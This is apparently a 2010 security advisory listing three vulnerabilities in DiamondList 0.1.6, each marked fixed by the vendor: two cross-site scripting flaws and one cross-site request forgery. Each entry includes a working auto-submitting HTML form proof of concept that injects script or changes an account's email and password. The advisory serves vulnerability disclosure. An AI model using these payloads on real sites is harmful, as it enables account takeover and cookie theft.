DiamondList version 0.1.6 suffers from cross site request forgery and cross site scripting vulnerabilities.
83967ef2c8cedbbaa85a5b6f21059107b23d4a8b37f4b2d86603329663c23a58
============================================
Vulnerability ID: HTB22508
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_diamondlist.html
Product: DiamondList
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/diamondlist )
Vulnerable Version: 0.1.6 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/user/main/update_settings" script to properly sanitize user-supplied input in "setting[site_title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/user/main/update_settings" method="post" name="main" >
<input type="hidden" name="setting[site_title]" value='Wishlists</title><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[site_keywords]" value="wishlists, applications" />
<input type="hidden" name="setting[site_description]" value="Powered by DiamondList" />
<input type="hidden" name="setting[theme]" value="default" />
<input type="hidden" name="commit" value="Save Settings" />
</form>
<script>
document.main.submit();
</script>
Solution: Upgrade to the most recent version
============================================
Vulnerability ID: HTB22517
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_diamondlist.html
Product: DiamondList
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/diamondlist )
Vulnerable Version: 0.1.6 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Fixed by Vendor
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
The vulnerability exists due to failure in the "user/main/update_user" script to properly verify the source of HTTP request.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/user/main/update_user/1" method="post" name="main" >
<input type="hidden" name="user[email]" value="admin@example.com" />
<input type="hidden" name="user[first_name]" value="First Name" />
<input type="hidden" name="user[last_name]" value="Last Name" />
<input type="hidden" name="user[password]" value="1234" />
<input type="hidden" name="user[password_confirmation]" value="1234" />
<input type="hidden" name="commit" value="Update" />
</form>
<script>
document.main.submit();
</script>
Solution: Upgrade to the most recent version
============================================
Vulnerability ID: HTB22518
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_diamondlist_1.html
Product: DiamondList
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/diamondlist )
Vulnerable Version: 0.1.6 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "user/main/update_category" script to properly sanitize user-supplied input in "category[description]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/user/main/update_category/CATEGORY_ID" method="post" name="main" >
<input type="hidden" name="category[name]" value="some cat name" />
<input type="hidden" name="category[description]" value='descr<script>alert(document.cookie)</script>' />
<input type="hidden" name="commit" value="Update" />
</form>
<script>
document.main.submit();
</script>
Solution: Upgrade to the most recent version